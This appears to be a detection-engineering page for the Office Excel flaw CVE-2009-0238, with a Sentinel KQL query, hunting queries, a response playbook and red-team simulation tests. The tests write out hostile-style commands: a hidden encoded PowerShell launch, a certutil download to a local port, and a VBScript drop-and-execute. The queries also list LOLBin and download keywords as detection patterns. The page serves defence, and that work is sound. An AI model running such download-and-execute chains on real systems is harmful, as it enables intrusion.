CVE-2009-0238 Microsoft Sentinel · KQL

Detect Microsoft Office Remote Code Execution (CVE-2009-0238) in Microsoft Sentinel

CVE-2009-0238 is a remote code execution vulnerability in Microsoft Office (addressed in MS09-009) caused by improper handling of specially crafted Excel files, leading to arbitrary code execution in the context of the logged-on user. This vulnerability is listed in the CISA Known Exploited Vulnerabilities catalog and has been actively exploited in the wild via malicious Office documents delivered through phishing campaigns.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
let suspiciousOfficeProcs = dynamic(["cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "regsvr32.exe", "rundll32.exe", "certutil.exe"]);
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName in~ ("excel.exe", "winword.exe", "powerpnt.exe")
| where FileName in~ (suspiciousOfficeProcs)
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessParentFileName
| extend RiskIndicator = case(
    ProcessCommandLine contains "-enc" or ProcessCommandLine contains "-encoded", "Encoded Powershell",
    ProcessCommandLine contains "DownloadString" or ProcessCommandLine contains "WebClient", "Network Download",
    ProcessCommandLine contains "IEX" or ProcessCommandLine contains "Invoke-Expression", "In-Memory Execution",
    "Suspicious Child Process"
  )
| order by TimeGenerated desc
critical severity high confidence

Detects Microsoft Office applications (Excel, Word, PowerPoint) spawning suspicious child processes indicative of CVE-2009-0238 exploitation, where a malicious document triggers code execution via a spawned shell or interpreter.

Data Sources

Microsoft Defender for EndpointMicrosoft Sentinel DeviceProcessEvents

Required Tables

DeviceProcessEvents

False Positives & Tuning

  • Legitimate macros in trusted documents that spawn command-line tools for business automation
  • IT administration scripts triggered from Office-integrated tooling
  • Developers running build or test scripts from within Excel or Word templates

Other platforms for CVE-2009-0238

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Office Spawning PowerShell Encoded Command

    Expected signal: Sysmon Event ID 1 showing EXCEL.EXE as parent process of powershell.exe with a -EncodedCommand argument; DeviceProcessEvents in MDE capturing the parent-child chain

  2. Test 2Office Spawning CMD with Network Download

    Expected signal: Sysmon Event ID 1 for cmd.exe and certutil.exe processes; Sysmon Event ID 3 (Network Connect) from certutil.exe to 127.0.0.1:8888; Sysmon Event ID 11 for test_artifact.exe creation in TEMP

  3. Test 3Malicious Excel File Macro Execution Simulation via WScript

    Expected signal: Sysmon Event ID 11 for sim_payload.vbs creation; Sysmon Event ID 1 for wscript.exe and subsequently calc.exe process creation; parent chain visible in EDR

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the affected host and user account; pull the process tree for the Office application that spawned the suspicious child process to confirm parent-child relationship.
  2. Retrieve the original Office document that was opened: check recent files, email attachments, and download history. Hash the file and submit to VirusTotal or an internal sandbox.
  3. Determine if the child process made any outbound network connections (C2 beaconing), wrote new files to disk, modified registry run keys, or performed credential access actions.
  4. Check the patch level of Microsoft Office on the affected endpoint to confirm whether MS09-009 has been applied; query EDR for Office version telemetry.

Containment

  1. Isolate the affected endpoint from the network immediately via EDR network containment or VLAN quarantine to prevent lateral movement or data exfiltration.
  2. Revoke active sessions and force password reset for the impacted user account, particularly if credential access tools (e.g., Mimikatz, LSASS dumps) were detected in the child process chain.

Evidence Collection

  1. Collect a memory image of the affected system prior to remediation to capture in-memory shellcode or injected payloads that may not survive a reboot.
  2. Preserve the malicious Office document, all child process command-line arguments, spawned file artifacts, and relevant Windows Event Logs (4688, Sysmon 1, 3, 11) into your case management system.

Escalation Criteria

  • !Escalate immediately if the child process established an outbound connection to an external IP, indicating successful C2 channel establishment post-exploitation.
  • !Escalate if the compromised user account has privileged access (Domain Admin, service account) or if lateral movement to additional hosts is detected within 30 minutes of the initial alert.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Prefetch file for EXCEL.EXE or WINWORD.EXE with an anomalously recent last-execution timestamp relative to the alert time
  • >Recent documents list in HKCU\Software\Microsoft\Office\<version>\Excel\Recent File List or equivalent Word registry key pointing to the malicious file
  • >Sysmon Event ID 11 (File Create) entries showing new executables or scripts written by the Office process to %TEMP%, %APPDATA%, or other user-writable paths
  • >Windows Event ID 4688 or Sysmon Event ID 1 capturing the full command line of the spawned child process

Tuning Guidance

Start by scoping the detection to endpoints that have not yet applied MS09-009 or that are running legacy Office versions. Whitelist known-good macro automation hosts (e.g., scheduled reporting servers) by device name or hostname prefix. If LOLBin child processes are common in your environment due to legitimate automation, add a secondary filter on CommandLine to require the presence of encoded payloads (-enc), network download keywords (DownloadString, WebClient), or known C2 patterns before alerting. Adjust the lookback window from 7 days to 24 hours for high-noise environments and rely on tuned confidence thresholds rather than broadening exclusions.

Hunting Queries

Threat hunt for Office applications writing executable or script files to user-writable directories, indicative of a dropped payload following CVE-2009-0238 exploitation.

Hunting — KQL
kql 
DeviceFileEvents
| where TimeGenerated >= ago(14d)
| where InitiatingProcessFileName in~ ("excel.exe", "winword.exe", "powerpnt.exe")
| where FolderPath has_any (@"\AppData\Roaming", @"\AppData\Local\Temp", @"\Users\Public")
| where FileName endswith ".exe" or FileName endswith ".dll" or FileName endswith ".ps1" or FileName endswith ".vbs"
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, FolderPath, SHA256
Hunting — SPL
spl 
index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
| where match(lower(Image), "excel\.exe|winword\.exe|powerpnt\.exe")
| where match(lower(TargetFilename), "\.exe$|\.dll$|\.ps1$|\.vbs$")
| where match(lower(TargetFilename), "appdata|temp|public")
| table _time, host, user, Image, TargetFilename
| sort -_time

Atomic Red Team Tests

Test 1 Office Spawning PowerShell Encoded Command
windows

Simulates CVE-2009-0238 post-exploitation by launching Excel, which in turn runs a PowerShell encoded command via a macro, mimicking the shellcode -> script execution chain.

Command

powershell 
powershell.exe -Command "Start-Process 'C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE' -ArgumentList '/e'; Start-Sleep 3; Start-Process powershell.exe -ArgumentList '-EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA==' -WindowStyle Hidden"

Cleanup

powershell 
Stop-Process -Name powershell -Force -ErrorAction SilentlyContinue; Stop-Process -Name EXCEL -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1 showing EXCEL.EXE as parent process of powershell.exe with a -EncodedCommand argument; DeviceProcessEvents in MDE capturing the parent-child chain

Expected Detection

KQL and SPL queries trigger on EXCEL.EXE -> powershell.exe parent-child relationship with EncodedCommand flag

Test 2 Office Spawning CMD with Network Download
windows

Emulates the exploitation pattern where a malicious Office macro drops to cmd.exe and attempts a certutil-based file download, a common post-exploitation technique following Office RCE.

Command

powershell 
cmd.exe /c "start /b cmd.exe /c certutil.exe -urlcache -split -f http://127.0.0.1:8888/test.exe %TEMP%\test_artifact.exe"

Cleanup

powershell 
del /f /q %TEMP%\test_artifact.exe 2>nul

Expected Telemetry

Sysmon Event ID 1 for cmd.exe and certutil.exe processes; Sysmon Event ID 3 (Network Connect) from certutil.exe to 127.0.0.1:8888; Sysmon Event ID 11 for test_artifact.exe creation in TEMP

Expected Detection

Detection fires on certutil.exe spawned in Office parent context; network download indicator enriches alert severity

Test 3 Malicious Excel File Macro Execution Simulation via WScript
windows

Simulates a weaponised Excel file that executes a VBScript via WScript.exe as a child process, a technique used in CVE-2009-0238 exploit chains to achieve persistence or download stages.

Command

powershell 
cmd.exe /c "echo Set oShell = CreateObject(""WScript.Shell"") > %TEMP%\sim_payload.vbs && echo oShell.Run ""calc.exe"", 0, False >> %TEMP%\sim_payload.vbs && wscript.exe %TEMP%\sim_payload.vbs"

Cleanup

powershell 
del /f /q %TEMP%\sim_payload.vbs 2>nul; Stop-Process -Name calc -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11 for sim_payload.vbs creation; Sysmon Event ID 1 for wscript.exe and subsequently calc.exe process creation; parent chain visible in EDR

Expected Detection

Detection captures wscript.exe spawned in Office parent context; VBScript drop-and-execute pattern aligns with documented CVE-2009-0238 attack chains

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002Execution

Related Techniques

T1203Exploitation for Client ExecutionT1566.001Spearphishing AttachmentT1059.001PowerShell

Same Tactic: Initial Access

Popular Detections